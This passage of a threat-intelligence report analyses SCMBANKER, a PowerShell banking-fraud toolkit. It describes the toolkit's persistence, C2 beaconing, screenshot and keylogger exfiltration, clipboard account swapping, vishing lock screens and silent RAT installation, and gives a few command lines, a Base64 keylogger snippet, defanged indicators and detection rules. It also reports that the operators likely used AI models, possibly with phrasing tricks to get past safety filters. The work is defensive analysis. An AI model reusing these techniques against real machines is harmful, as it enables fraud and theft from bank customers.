<p>Once elevated, an inline PowerShell P/Invoke call to <code>user32.dll!ClipCursor</code> confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8ae69ebb4a9b169e/6a7c8ab5da3d05477c633e9f/image10.png" alt="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" title="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" /></p>
<h3 id="downloadingthescmbankertoolkitviabitsadmin">Downloading the SCMBANKER toolkit via bitsadmin</h3>
<p>All malicious scripts, files, and binaries are pulled individually via <code>bitsadmin</code> from <code>http://68.211.161[.]46/files/</code> to <code>C:\Users\Public\</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt44fed89d1426419c/6a7c8ab851156ad3432bca45/image8.png" alt="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" title="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" /></p>
<h3 id="scmbankerspersistenceregistryrunkeyandstartupfolder">SCMBANKER's persistence: registry Run key and startup folder</h3>
<p>Two persistence mechanisms launched by <code>C:\Users\Public\run.vbs</code> on logon, plus a one-shot infection marker:</p>
<ul>
<li><strong>Run key</strong>: <code>HKCU\...\Run</code>, value <code>"run"</code>, runs hidden PowerShell launching <code>run.vbs</code>.</li>
<li><strong>Startup folder</strong>: <code>run.vbs</code> dropped to three path variants (<code>%APPDATA%</code>, <code>%USERPROFILE%\AppData\Roaming</code>, and the legacy XP <code>%USERPROFILE%\Start Menu</code>).</li>
<li><strong>RunOnce timestamp</strong>: value <code>"id"</code> writes <code>%date% %time%</code> to <code>C:\Users\Public\id.txt</code> once on next logon, then self-deletes.</li>
</ul>
<h3 id="forcingareboottotriggerpersistence">Forcing a reboot to trigger persistence</h3>
<p>The script sends an <code>F11</code> keypress to exit fullscreen, followed by a <code>Ctrl+W</code> keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the <code>shutdown /r /t 02</code> command. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (<code>run.vbs</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3214cc84b718b8be/6a7c8abb51156a514f2bca49/image19.png" alt="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" title="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" /></p>
<h2 id="thescmbankertoolkit">The SCMBANKER toolkit</h2>
<h3 id="runvbsscmbankersmasterlauncher">run.vbs: SCMBANKER's master launcher</h3>
<p>The VBScript (<code>run.vbs</code>) is the master launcher. It uses <code>WScript.Shell.Run</code> with a hidden window style and <code>Invoke-Expression</code> to start the toolkit's modules in parallel:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaede87d3708fbb61/6a7c8abe1967ea872432a9a5/image9.png" alt="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" title="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" /></p>
<p><code>run.vbs</code> launches the following modules:</p>
<p>| Script | Role |
| ----- | ----- |
| <code>rotor2.ps1</code> | Long-running process-mutation rotator for <code>mensaje1.ps1</code> (vishing module) |
| <code>ini.ps1</code> | Delayed launcher for <code>jujuzkt.ps1</code> (banking activity monitor) |
| <code>remo.ps1</code> | IP-gated launcher for <code>jujuzkt2.ps1</code> (phishing redirect module) |
| <code>edifhjwe.ps1</code> | Toolkit updater |
| <code>cliente.ps1</code> | C2 beacon / implant control channel |
| <code>avs.ps1</code> | Remote Utilities RAT installer downloader |
| <code>clip.ps1</code> / <code>clip2.ps1</code> | <a href="https://en.wikipedia.org/wiki/CLABE">CLABE</a> and card-number clipboard hijackers |
| <code>correr.ps1</code> | Arbitrary PowerShell executor |
| <code>cursor2.exe</code> | Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at <code>C:\Users\Public\invi.cur</code> |</p>
<p>Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8edf690d79e606c0/6a7c8ac1227b1c98a45927e0/image1.png" alt="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" title="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" /></p>
<h3 id="c2beaconandvictimmanagement">C2 beacon and victim management</h3>
<p>Every 30 seconds, <code>cliente.ps1</code> collects a machine profile and performs an HTTP POST request to <code>https://negratomasa2026[.]online/dashboard2/recData.php</code>:</p>
<p>The following table represents this request data and its associated fields:</p>
<p>| Field | Source | Purpose |
| ----- | ----- | ----- |
| <code>machine_name</code> | <code>$env:COMPUTERNAME</code> | Victim identification |
| <code>client_id</code> | <code>GUID</code> in <code>client_id.txt</code> | Unique implant ID (persists across reboots) |
| <code>ip_local</code> | <code>Get-NetIPAddress</code> | Internal network recon |
| <code>ip_public</code> | <code>api.ipify.org</code> | External IP for geolocation and targeting |
| <code>comentario</code> | <code>comentario.txt</code> | Operator's notes/label for this victim |
| <code>idInternet</code> | <code>id.txt</code> | Infection timestamp |
| <code>remoto</code> | <code>agent.txt</code> | RAT installation status (default: <code>SIN REMOTO AUN</code>) |
| <code>comando</code> | <code>comando.txt</code> | Last command received |
| <code>optUpdate</code> | hardcoded “update” | Meant to flag whether the remote tool is installed, but it's overridden to always say <code>"update"</code> (likely debugging leftover) |
| <code>timestamp</code> | Unix epoch | Beacon time |</p>
<p>The C2 response contains two operator-controlled fields.</p>
<p>The data from the <code>comentario</code> field is saved to <code>comentario.txt</code> and stores the operator’s label or notes for the victim.</p>
<p>The data from the <code>comando</code> field is saved to <code>comando.txt</code>. Other modules poll that file for operator instructions:</p>
<ul>
<li><code>avs.ps1</code> handles MSI URLs.</li>
<li><code>edifhjwe.ps1</code> handles ZIP update packages.</li>
<li><code>correr.ps1</code> handles PowerShell-prefixed execution requests.</li>
</ul>
<p>The following image shows the server response parsing logic.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6c3e53c67ecbd5d/6a7c8ac4e88c6575db00596d/image13.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h3 id="bankingactivitymonitor">Banking activity monitor</h3>
<p>The primary banking activity monitor is a PowerShell script (<code>jujuzkt.ps1</code>), but it also has optional active branches:</p>
<ul>
<li>URL injection when a configured target has a redirect URL, and</li>
<li>a commented-out keylogger rotator path via <code>rotor.ps1</code>.</li>
</ul>
<p>After a short startup delay, invoked by <code>ini.ps1</code>, the banking monitor script refreshes three configuration files every five minutes.</p>
<p>| Remote URL | Local File | Content |
| ----- | ----- | ----- |
| <code>https://negratomasa2026[.]online/a/teleavisos.txt</code> | <code>config1.txt</code> | Arbitrary PowerShell executed via <code>Invoke-Expression</code> |
| <code>https://negratomasa2026[.]online/b/listadebancos.txt</code> | <code>config2.txt</code> | Window title keywords (bank names + optional redirection target, <code>*</code>-delimited) |
| <code>https://negratomasa2026[.]online/b/keysnegativas.txt</code> | <code>config_negative.txt</code> | Negative keywords to filter out false matches when scanning opened windows |</p>
<p>Once running, the banking activity monitor checks all visible window titles every second. A match (full list <a href="https://gist.github.com/jiayuchann/cfbeb1b194b2e186fc599eb51d4719cc">here</a>) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to <code>https://negratomasa2026[.]online/dashboard2/avisos2.php</code> in the following format:</p>
<pre><code>mensaje = "&lt;window title&gt;
Detected C0incidence: '&lt;keyword&gt;'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: &lt;hostname&gt;
Cliente desde: &lt;id&gt;
Client ID: &lt;clientId&gt;
IP: &lt;public_ip&gt;
Navegador: &lt;process_name&gt;
&lt;current timestamp&gt;"
clientId = &lt;clientId&gt;
</code></pre>
<p>A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The <code>rotor</code> scripts act as short-lived wrappers: they copy a target script into <code>%TEMP%</code> under Windows-like process names, execute the copy, and repeat for a set period. In this case, <code>rotor1.ps1</code> repeatedly spawns <code>screen2.ps1</code> every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each <code>screen2.ps1</code> run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to <code>https://negratomasa2026[.]online/dashboard2/imagenes.php</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt017868485c07c534/6a7c8ac733fa8a78861fca96/image23.png" alt="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" title="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" /></p>
<h3 id="scmbankerskeyloggingmodule">SCMBANKER's keylogging module</h3>
<p><code>jujuzkt.ps1</code> also contains a commented-out path to launch <code>rotor.ps1</code>, a short-lived rotator for <code>key.ps1</code>. While the banking monitor path launches <code>rotor1.ps1</code> for screenshots, the presence of <code>rotor.ps1</code> and <code>key.ps1</code> shows an additional keylogging capability in the toolkit. <code>rotor.ps1</code> applies the same rotator pattern to <code>C:\Users\Public\key.ps1</code>.</p>
<p>This PowerShell script (<code>key.ps1</code>) fetches Telegram bot credentials from <code>https://negratomasa2026[.]online/a/telekeylogger.txt</code> via <code>Invoke-Expression</code>, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to <code>https://negratomasa2026[.]online/dashboard2/logs.php</code> with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.</p>
<h3 id="thevishingengineturninginfectionsintolivephonescams">The vishing engine: turning infections into live phone scams</h3>
<p>The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. <code>rotor2.ps1</code> applies the rotator pattern to <code>mensaje1.ps1</code>, keeping the dispatcher alive under changing Windows-like filenames.</p>
<p>When <code>mensaje1.ps1</code> is launched, every 10 seconds it fetches <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code>, where each line has the format <code>&lt;IP&gt;*&lt;URL&gt;</code>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltff14c1c4902e0677/6a7c8aca6c6eac3189f0e4da/image12.png" alt="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" title="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" /></p>
<p>The operator can choose between two overlay behaviors.</p>
<ul>
<li><code>mensaje.ps1</code> creates a borderless, topmost <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.webbrowser?view=windowsdesktop-10.0">WebBrowser</a> window, confines the mouse to the form, and uses a <code>200</code> ms timer to bring the overlay back to the foreground if the victim clicks away.</li>
<li><code>mensajeoff.ps1</code> uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL ends with <code>?off</code>.</li>
</ul>
<p>The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, <code>http://68.211.161[.]46/driver.html?off</code>, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5c15a41e66f10ac4/6a7c8acd6c6eac4b91f0e4de/image14.png" alt="Fake bank security warning pages SCMBANKER shows victims during vishing session" title="Fake bank security warning pages SCMBANKER shows victims during vishing session" /></p>
<h3 id="activebrowserredirectstophishingpages">Active browser redirects to phishing pages</h3>
<p>Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. <code>remo.ps1</code> polls <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code> every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, <code>jujuzkt2.ps1</code>.</p>
<p><code>jujuzkt2.ps1</code> watches window titles against <code>https://negratomasa2026[.]online/b/urlsscams.txt</code> (archived list <a href="https://gist.github.com/jiayuchann/5851f64467bac4c456dab67e2fb55622">here</a>) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (<code>Ctrl+L</code>, <code>Ctrl+V</code>, and <code>Enter</code>), then pauses before continuing.</p>
<p>Many <code>urlsscams.txt</code> entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.</p>
<p>An observed redirect destination, <code>https://bancaporinternetbbmx[.]online</code>, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6924bbcaa4db5e07/6a7c8ad02f00b2f761ef8fa1/image21.png" alt="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" title="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" /></p>
<h3 id="clipboardandtransfermanipulation">Clipboard and transfer manipulation</h3>
<p>The clipboard modules focus on payment redirection rather than credential theft.</p>
<ul>
<li><code>clip.ps1</code> checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from <code>https://negratomasa2026[.]online/b/clabes.txt</code>.</li>
<li><code>clip2.ps1</code> applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from <code>https://negratomasa2026[.]online/b/tarjetas.txt</code>.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2b30345fb7c6a6ba/6a7c8ad2c33f4fc747d54b94/image15.png" alt="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" title="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" /></p>
<h3 id="howdoestheoperatorgethandsonaccesstoavictimsmachine">How does the operator get hands-on access to a victim's machine?</h3>
<p>SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes <a href="https://www.remoteutilities.com/">Remote Utilities Host</a>, a legitimate commercial remote-administration product, and configures it silently to call back.</p>
<p>Deployment is operator-triggered and runs through three scripts. The first script (<code>avs.ps1</code>) polls <code>comando.txt</code> every 120 seconds, and when the operator pushes an <code>.msi</code> URL it downloads the installer to <code>C:\Users\Public\</code> and launches <code>instaler.ps1</code>. This second script (<code>instaler.ps1</code>) exits if the <code>99.kut</code> guard file already exists so the RAT installs only once, relaunches itself with <code>-Verb RunAs</code> until it gets admin, then installs silently with <code>msiexec /i "hosts.msi" /quiet /norestart</code>. On success, it writes <code>REMOTO INSTALADO</code> to <code>agent.txt</code>, drops the <code>99.kut</code> guard, and runs <code>attrib +h +s "C:\Users\Public"</code> to hide the implant directory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26bbabcc33ca0386/6a7c8ad542a1178492956245/image6.png" alt="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" title="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" /></p>
<p>The third script (<code>remoto.ps1</code>) waits 120 seconds, then imports a registry blob into <code>HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters</code> that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID <code>46053.045416157</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta94fefc991ae5c37/6a7c8ad87cfd7af399314e4a/image7.png" alt="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" title="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" /></p>
<p>It also deletes the <code>UninstallString</code> at <code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9}</code> so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.</p>
<p>The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the <code>driver.html?off</code> vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.</p>
<h3 id="scmbankersselfupdatemechanism">SCMBANKER's self-update mechanism</h3>
<p>SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. <code>edifhjwe.ps1</code> polls <code>C:\Users\Public\comando.txt</code> (C2 command written by <code>cliente.ps1</code>) every 40 seconds and treats a ZIP URL as an update instruction.</p>
<p>When triggered, <code>edifhjwe.ps1</code> downloads the ZIP to <code>%TEMP%\Agent_temp.zip</code>, wipes most of <code>C:\Users\Public\</code>, and extracts the new toolkit into place. It preserves a small set of state files, including <code>comando.txt</code>, <code>comentario.txt</code>, <code>id.txt</code>, <code>agent.txt</code>, and <code>99.kut</code>, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.</p>
<p>After extraction, the updater writes <code>BOT ACTUALIZADO</code> to <code>comando.txt</code> as a completion flag, kills running PowerShell module processes by script name, and relaunches <code>run.vbs</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf0b2625a5f95ccc/6a7c8adb9f52510871664150/image4.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h2 id="istheref6045malwarewrittenbyai">Is the REF6045 malware written by AI?</h2>
<p>The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.</p>
<p>The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (<code>rotor2.ps1</code> and <code>key.ps1</code>), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8ff15f89e4cdf4d9/6a7c8adec33f4f413fd54b9e/image11.png" alt="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" title="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" /></p>
<p><code>key.ps1</code> uses self-documenting obfuscation. It Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:</p>
<pre><code>$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx
</code></pre>
<p>Every script opens with heavy banner-comment dividers (<code>INTERVALOS DE TIEMPO</code>, <code>DICCIONARIOS Y VARIABLES</code>, <code>FUNCIONES</code>, <code>INICIO</code>, <code>LOOP PRINCIPAL</code>). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.</p>
<p>Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.</p>
<p>As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.</p>
<h2 id="ref6045sinfrastructureandopsecfailures">REF6045's infrastructure and OPSEC failures</h2>
<p>The depth of this analysis was made possible by poor server hygiene across the operation. The file server at <code>http://68.211.161[.]46/files/</code> had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted <code>zkt.zip</code>, which yielded the entire operation in a single archive.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7c84303448b24d22/6a7c8ae105b7b5ab24185bc3/image22.png" alt="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" title="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" /></p>
<p>The C2 also exposed an unauthenticated file editor at <code>/b/editor.php</code>, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdfa679c8df23b1ba/6a7c8ae35967e530b05d767d/image5.png" alt="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" title="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" /></p>
<p>The related ClickFix hosts listed earlier reused the same <code>validation.txt</code> delivery pattern while hosting overlapping PowerShell toolsets under <code>/files</code>. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltff029a53f8aaee44/6a7c8ae705b7b53dc5185bc7/image2.png" alt="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" title="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" /></p>
<p>Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.</p>
<h2 id="whyref6045mattersdespiteitscrudeexecution">Why REF6045 matters despite its crude execution</h2>
<p>REF6045 is not a complex operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.</p>
<p>That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.</p>
<p>Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.</p>
<h2 id="ref6045throughmitreattck">REF6045 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Stealth</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Phishing: Spearphishing Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1197/">BITS Jobs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1016/">System Network Configuration Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/">Remote Access Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1529/">System Shutdown/Reboot</a></li>
<li><a href="https://attack.mitre.org/techniques/T1657/">Financial Theft</a></li>
</ul>
<h2 id="howtodetectandpreventref6045">How to detect and prevent REF6045</h2>
<h3 id="preventionrulesfordetectingscmbanker">Prevention rules for detecting SCMBANKER</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_bitsadmin_activity.toml">Suspicious Bitsadmin Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_interpreter_child_process.toml">Suspicious Windows Script Interpreter Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_from_unusual_directory.toml">Execution from Unusual Directory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_external_ip_address_discovery_via_a_trusted_program.toml">External IP Address Discovery via a Trusted Program</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_execution_via_windows_run.toml">Suspicious Command Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_curl_http_fetch_piped_to_cmd_or_node_via_command_shell.toml">Curl HTTP Fetch Piped to Cmd or Node via Command Shell</a></li>
</ul>
<h2 id="observables">Observables</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>68.211.161[.]46</code> | ipv4 |  | ClickFix / file host |
| <code>http://68.211.161[.]46/</code> | url |  | ClickFix web root |
| <code>http://68.211.161[.]46/files/</code> | url |  | Open directory / toolkit staging |
| <code>http://68.211.161[.]46/validation.txt</code> | url |  | First-stage batch payload download |
| <code>http://68.211.161[.]46/driver.html?off</code> | url |  | Vishing page linking to Remote Utilities payload |
| <code>216.250.112[.]100</code> | ipv4 |  | ClickFix / file host |
| <code>http://216.250.112[.]100/validation.txt</code> | url |  | First-stage batch payload download (osogransd variant) |
| <code>185.242.246[.]169</code> | ipv4 |  | REF6045 C2 |
| <code>https://185.242.246[.]169/b/editor.php</code> | url |  | C2 exposed config editor |
| <code>http://185.242.246[.]169/dashboard2/recData.php</code> | url |  | C2 beacon POST endpoint (osogransd variant) |
| <code>ratonvaquero2026[.]online</code> | domain-name |  | ClickFix / file host |
| <code>https://ratonvaquero2026[.]online/</code> | url |  | ClickFix lure host |
| <code>https://ratonvaquero2026[.]online/files/</code> | url |  | Toolkit file host |
| <code>monteviral2026.duckdns[.]org</code> | domain-name |  | ClickFix / file host |
| <code>https://monteviral2026.duckdns[.]org/</code> | url |  | ClickFix lure host |
| <code>https://monteviral2026.duckdns[.]org/files/</code> | url |  | Toolkit file host |
| <code>osogransd[.]online</code> | domain-name |  | ClickFix / file host |
| <code>https://osogransd[.]online/</code> | url |  | ClickFix lure host |
| <code>https://osogransd[.]online/files/</code> | url |  | Toolkit file host |
| <code>negratomasa2026[.]online</code> | domain-name |  | REF6045 C2 |
| <code>https://negratomasa2026[.]online/dashboard2/recData.php</code> | url |  | C2 beacon POST endpoint |
| <code>https://negratomasa2026[.]online/dashboard2/avisos2.php</code> | url |  | Banking session alert endpoint |
| <code>https://negratomasa2026[.]online/dashboard2/imagenes.php</code> | url |  | Screenshot upload endpoint |
